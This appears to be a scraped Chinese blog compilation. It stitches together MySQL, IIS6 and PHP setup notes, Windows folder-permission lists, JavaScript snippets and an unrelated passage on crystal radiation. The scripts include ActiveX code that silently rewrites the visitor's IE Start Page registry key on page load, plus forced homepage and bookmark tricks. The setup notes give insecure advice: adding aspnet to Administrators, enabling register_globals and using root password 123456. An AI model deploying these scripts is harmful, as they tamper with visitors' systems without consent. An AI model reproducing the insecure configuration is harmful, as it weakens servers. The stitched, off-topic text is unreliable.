一个网站远程连MYSQL数据库,来是出现 Lost connection to MySQL server during query 这个问题,经过搜索好久都没解决这个问题,主要是其他同样的程序连接同样的数据库都能正常,但是就一个站不行。后来经过一次次的逐步试验,终于解决问题、。。
[mysqld]项下添加参数:
skip-name-resolve
后来果真好了。
一个网站远程连MYSQL数据库,来是出现 Lost connection to MySQL server during query 这个问题,经过搜索好久都没解决这个问题,主要是其他同样的程序连接同样的数据库都能正常,但是就一个站不行。后来经过一次次的逐步试验,终于解决问题、。。
[mysqld]项下添加参数:
skip-name-resolve
后来果真好了。
使用windows2003中的IIS6有两种模式,一种是按新的权限模式,据说提高了系统的安全性,另一种就是按以前的iis5方式运行,在administrators组用户权限下运行,此种方式比较危险.但如果在内网上使用,配置也比较方便.
由于安装w2k3时缺省是第一种模式,因此修改为第二种模式的步骤如下:
1. 首先确认你的w2k3操作系统安装了asp.net和iis
2. 然后在命令行将aspnet用户添加到administrators组中:
net localgroup administrators aspnet /add
3. 然后设置IIS的运行模式为iis5的隔离模式, 步骤如下:
打开IIS管理器, 展开机器名的节点,然后在"站点"(或Site)上单击右键打开"属性"菜单
一:软件准备:
1. PHP(PHP-5.2.11)
http://cn2.php.net/get/php-5.2.11-Win32.zip/from/a/mirror
php-5.2.11-Win32.zip
2. MySQL(5.4.2)
http://dev.mysql.com/downloads
mysql-essential-5.4.2-beta-win32.msi
3. PHPMyAdmin
phpMyAdmin-3.2.0.1-all-languages.zip
二:软件安装设置:
1. PHP安装:
php-5.2.11-Win32.zip解开压缩之后,放置到C:\public\php-5.2.11-Win32中。
1.1 DLL文件copy:
将C:\public\php-5.2.11-Win32目录下的所有dll文件copy到c:\Windows\system32下.
1.2 可执行文件和ini文件的copy:
将C:\public\php-5.2.11-Win32目录下的php.exe、php-win.exe和php.ini-dist三个文件拷到C:\Windows ( Windows 2000 下为 C:\WINNT)下;将C:\Windows\php.ini-dist改名为php.ini.
1.3. 修改PHP ini文件:
使用UltraEdit打开C:\Windows\php.ini
register_globals = Off
,将 Off 改成 On ;
extension_dir =
,并将其路径指到你的 PHP 目录下的 extensions 目录,比如:extension_dir = "C:\public\php-5.2.11-Win32\ext" ;
搜索找到
;Windows Extensions
将下面列举的
;extension=php_dbase.dll
可选
;extension=php_gd2.dll
这个是用来支持GD库的,一般需要,必选
;extension=php_ldap.dll
可选
;extension=php_mbstring.dll
这不选一般用PHPMYADMIN会出红色提示,故必选
;extension=php_mssql.dll
这个是用来支持MSSQL的,可选
;extension=php_mysql.dll
这个是用来支持MYSQL的,要支持MYSQL必选
将这些前的";"去掉,其他的你需要的也可以去掉前面的;然后关闭保存该文件。
2. IIS配置:
IIS安装很简单,但要让它支持PHP,则需要做进一步配置。
PHP 支持 CGI 和 ISAPI 两种安装模式,推荐使用 ISAPI 模式。这里只解介绍 ISAPI 模式安装方法:
2.1: 添加ISAPI筛选器:
在“控制面板->性能和维护->管理工具->Internet 信息服务"中选择"默认网站"。停止之。
反键点选"默认网站"->属性->ISAPI筛选器,添加筛选器。
筛选器名称:":PHP"
可执行文件:"C:\public\php-5.2.11-Win32\php5isapi.dll"
Sam: 这里是给IIS指出:遇到PHP,使用php指定的筛选器.
2.2: 添加应用程序映射:
反键点选"默认网站"->属性->主目录->配置,添加应用程序映射。
.php和C:\public\php-5.2.11-Win32\php5isapi.dll。
Sam:这里给IIS指出:遇到.php文件,使用何种程序解析之。
2.3: 添加文档index.php
反键点选"默认网站"->属性->文档
添加一个index.php.
可以将 index.php 升到最高优先级,这样,访问站点时就会首先自动寻找并打开 index.php 文档.
2.4. 重新启动IIS:
net stop w3svc
net stop iisadmin
net start w3svc
2.5.写index.php.
首先在反键点选"默认网站"->属性->主目录下看本地路径,通常为:C:\Inetpub\wwwroot
则在这个目录中建立:一个index.php,内容如下:
<?php
phpinfo();
?>
此时,IIS已经支持PHP。
使用浏览器:http://localhost
分区(C,D,E,F…..)根部 权限
Administrators 完全控制
System 完全控制
C:\Documents and Settings 目录权限
Administrators 完全控制
System 完全控制
C:\Program Files 目录权限
Administrators 完全控制
System 完全控制
User 读取和运行+列出文件夹目录+读取
C:\windows 目录权限
Administrators 完全控制
System 完全控制
User 读取和运行+列出文件夹目录+读取
C:\windows\system 目录权限
Administrators 完全控制
System 完全控制
User 读取和运行+列出文件夹目录+读取
C:\windows\system32 目录权限
Administrators 完全控制
System 完全控制
User 读取和运行+列出文件夹目录+读取
C:\windows\temp 目录权限
Administrators 完全控制
System 完全控制
Everyone 完全控制
WWWROOT(网站根目录)目录权限
Administrators 完全控制
System 完全控制
Internet来宾账户 读取和运行+列出文件夹目录+读取
PHP目录权限:
Administrators 完全控制
System 完全控制
Everyone 读取和运行+列出文件夹目录+读取
Zend目录权限:
Administrators 完全控制
System 完全控制
Everyone 完全控制
Mysql目录权限:
Administrators 完全控制
System 完全控制
User 读取和运行+列出文件夹目录+读取
c:\inetpub\mailroot
administrators 全部
system 全部
service 全部
c:\inetpub\ftproot
everyone 只读和运行
c:\windows
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
Users 读取和运行(此权限最后调整完成后可以取消)
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
C:\WINDOWS\Microsoft.Net\temporary ASP.NET Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 全部
c:\Program Files
Everyone 只有该文件夹
不是继承的
列出文件夹/读数据
administrators 全部
iis_wpg 只有该文件夹
列出文件/读数据
读属性
读扩展属性
读取权限
c:\windows\temp
Administrator 全部权限
System全部权限
users 全部权限
c:\Program Files\Common Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users(如果有这个用户)
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
c:\Program Files\Dimac(如果有这个目录)
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
c:\Program Files\ComPlus Applications (如果有)
administrators 全部
c:\Program Files\GflSDK (如果有)
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
Everyone 读取和运行,列出文件夹目录,读取
c:\Program Files\WindowsUpdate
Creator owner
不是继承的
只有子文件夹及文件
完全
administrators 全部
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
c:\Program Files\Microsoft SQL(如果SQL安装在这个目录)
administrators 全部
Service 全部
system 全部
C:\php\uploadtemp
C:\php\sessiondata
everyone
全部
C:\php\
administrators 全部
system 全部权限
SERVICE全部
Users 只读和运行
c:\windows\php.ini
administrators 全部
system 全部权限
SERVICE全部
Users 只读和运行
1.下载mysql:mysql-noinstall 版本
2.加压缩导任何一个目录,最好目录名称不要有空格;
例如:D:\usr\mysql-5.0.22-win32
3,在mysql-5.0.22-win32
目录下新建一个my.ini,拷贝my-small.ini代码至my.ini;修改后如下:
4,然后编写启动脚本;
1@echo off
2echo start mysql5 on localhost
3mysqld –install mysql5 –defaults-file=D:\DevelopTools\mysql-5.0.22-win32\my.ini
4net start mysql5
5pause
6
7
8
9
停止脚本
方法二
1、软件的下载
到mysql的官方网站下载MySQL的解压包,如mysql-noinstall-5.0.51b-win32.zip
然后将其解压到你希望数据库所在的某个位置,如C:\
这样在C:盘下面就有了C:\mysql-5.0.51b-win32这样的一个目录,里面就是MySQL数据库的全部
内容。
2、配置
首先我们来看MySQL的根目录,里面有多个文件名如my-****.ini形式的文件,这就是MySQL配置
的样例文件,你可以选取其中一个,将其名字改为my.ini,MySQL启动的时候就是读取这个my.ini文
件来决定数据库的各项参数。
在my.ini文件中需要进行配置的主要是两个方面,一个是客户端,一个是服务器端。
* 客户端配置
# CLIENT SECTION
#—————————————————–
[client]
port = 3306
[mysql]
default-character-set = gbk
需要配置的主要是两项,一个是客户端端口,一个是默认的字符集(gbk就是设置成了中文),这
里端口选用默认的3306,字符集可以根据需要修改为UTF-8或GBK。
* 服务器端配置
#SERVER SECTION
#—————————————————–
[mysqld]
port = 3306
basedir= "C:/mysql-5.0.51b-win32"
datadir= "C:/mysql-5.0.51b-win32/Data"
Server="c:/mysql-5.0.51b-win32/bin/mysqld-nt.exe"
default-character-set = gbk
default-storage-engine = INNODB
max_connections = 100
max_allowed_packet = 16M
这里主要的是端口port,数据库安装目录(也就是我们解压的目录)basedir,数据库中数据
的存储路径(也就是你将来建立的Database和Table存放的位置)datadir。
其次就是字符集的设置,最大连接数的设置等,实际的设置项要根据开发与使用的需要,参
考解压目录中的几个样例文件进行取舍配置。
3、启动Mysql数据库
* 可以在Windows环境变量的path中先加入C:\mysql-5.0.51b-win32\bin这项,这样我们就可以
在命令行中直接使用mysql的各项命令了
* 进入命令行窗口,运行c:\mysqld-nt,这是查看Windows任务管理器,发现进程中多出来一个
mysqld-nt.exe,这说明数据库已经成功的启动的了。
* 此外,我们可以把数据库注册成一个服务,随着系统的启动而启动,具体命令如下:
c:\mysqld-nt -install
运行上面的命令后,就会在系统服务中注册了一个名字为MySQL,启动来性为Automatic的服务
,这个服务默认情况下是自动启动的。
可以通过命令行的防止停止或启动,如:
c:\net start MySQL启动)
c:\net stop MySQL(停止)
c:\mysqld-nt –remove MySQL(卸载服务)
4、使用MySQL数据库
* 由于我们在环境变量的path中加入了MySQL安装目录下的bin这项,所以可以直接使用MySQL命
令。
* 配置好上面信息并启动MySQL以后,默认的用户名root,密码为空,所以我们可以使用一下命
令登陆数据库:
c:\mysql -uroot -hlocalhost
回车以后会看到如下命令行状态:
mysql>
这说明已经成功登陆了MySQL数据库。
如果想为root用户加上密码,可以退出数据库mysql>quit,然后使用如下命令设置root用户的
密码:
c:\mysqladmin -uroot password 123456
这样就将root用户的密码修改为123456了,再次登陆数据库是就要用如下代码:
c:\mysql -uroot -p123456 -hlocalhost
至此,MySQL5数据库的配置就完成了,可以通过客户端或是程序来使用这个数据库了。
5、总结
MySQL提供了Install和NotInstall两种文件包的下载和安装方式,Install方式使用起来更为直
观和方便,而notInstall方式则能让你更加的了解MySQL数据库基本配置内容,所以各有利弊。从个
人角度来看,还是比较推荐notIntall的方式来使用Mhysql数据库,这样可以为在不同的平台下使用
MySQL奠定一个良好的基础。
之前已经用mysql5.0的windows安装包安装了mysql5.0,之后由于重装了系统,但又不想重新安装mysql5.0
所以想手工回复一下先前安装的mysql,我先前的安装目录是:
d:/MySQL Server 5.0/
把 MySQLInstanceConfig.exe 拷贝一份到 d:/MySQL Server 5.0/ 和d:/MySQL Server 5.0/bin
去d:/MySQL Server 5.0/bin/执行 MySQLInstanceConfig.exe
只要出来界面即可!
然后运行regedit打开注册表,找到HKEY_LOCAL_MACHINE > Software > MySQL AB > MySQL Server
编辑键 location 把 D:\MySQL Server 5.0\bin 改成D:\MySQL Server 5.0\
好了,再去D:\MySQL Server 5.0\目录执行MySQLInstanceConfig.exe 完成配置即可!
<script>
function getCookie(name) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ‘;’, len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
{
var Days = 1; //此 cookie 将被保存 1 天
var exp = new Date();
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function setpage(aa,str){
//注意,只对IE有效,FF需要修改浏览器设置
aa.style.behavior="url(#default#homepage)";
var bb=getCookie("username"); //读取cookies
if (bb!=’easyplay8er’)
{
aa.setHomePage(str);
SetCookie("username","easyplay8er");
}
}
</script>
<body onclick="setpage(this,’http://www.maqie.com/’);">
</body>
<script language="javascript" type="text/javascript">
function bookmark()
{
if(readCookie("bookmark")!="yes")
{
saveCookie("bookmark","yes",1);
window.external.AddFavorite(‘http://www.maqie.com/’, ‘长河日志’);
}
}
function saveCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000))
var expires = "; expires="+date.toGMTString()
}
else expires = ""
document.cookie = name+"="+value+expires+"; path=/"
}
function readCookie(name) {
var nameEQ = name + "="
var ca = document.cookie.split(‘;’)
for(var i=0;i<ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==’ ‘) c = c.substring(1,c.length)
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length)
}
return null
}
</script>
<body onUnload="bookmark()">
</body>
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function mm()
{
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
try
{
if (document.cookie.indexOf("mmm") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.csdn.net/");//修改用户InternetExplorer浏览器的默认主页
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="mmm=0; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("mm()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();
</SCRIPT>
<script>
var ucook=document.cookie;
var user=ucook.indexOf("ilooki=");
if (user==-1)
{
var nowTime=new Date();
document.cookie="ilooki=1"+";"+"expires=Wednesday,04-Jan-"+eval(nowTime.getYear()+1903)+"12:34:56 GMT";
document.write ("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets [0];a1.setCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://yang");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
辐射是能量传递的一种方式。比如我们生火取暖。火的热能就是通过辐射这样一种形式让我们觉得暖和的。
其次是要分清辐射源和能量类型
一类我们称之为:非游离辐射,其能量源较低。比如太阳、日光灯等
一类被称为:游离辐射,其能量较大,能使物质产生游离作用的辐射。
究竟是说水晶具备是一种辐射能呢还是说水晶有经过辐射处理(一般我们在行业内称为辐照处理跟确却)当然用来对水晶辐照改善的辐射源的确是高能粒子。当然她是否会 足以给人体造成伤害那就还要考虑到其残余的放射能了。一般说来,眼下的水晶优化品是不会对人体带来伤害的。
水晶属于一种天然矿石,如果从物理的角度来分析,天然矿石都含有一定的杂质,具有一定的辐射,辐射大的话会对人体健康产生危害。市场上的真水晶一般纯度不会很高,有一定的辐射。水晶能旺财、降福等等说法是商家的促销手段,科学上没有这方面的认定。但水晶本身确实具有药用功能,在《本草纲目》上也有记载,水晶粉末可入药,大块的水晶佩戴在身上可镇静降温。至于水晶辐射的问题不用太过忧虑,天然宝石大部分没有这方面问题,而且经过检测能很容易检测出来。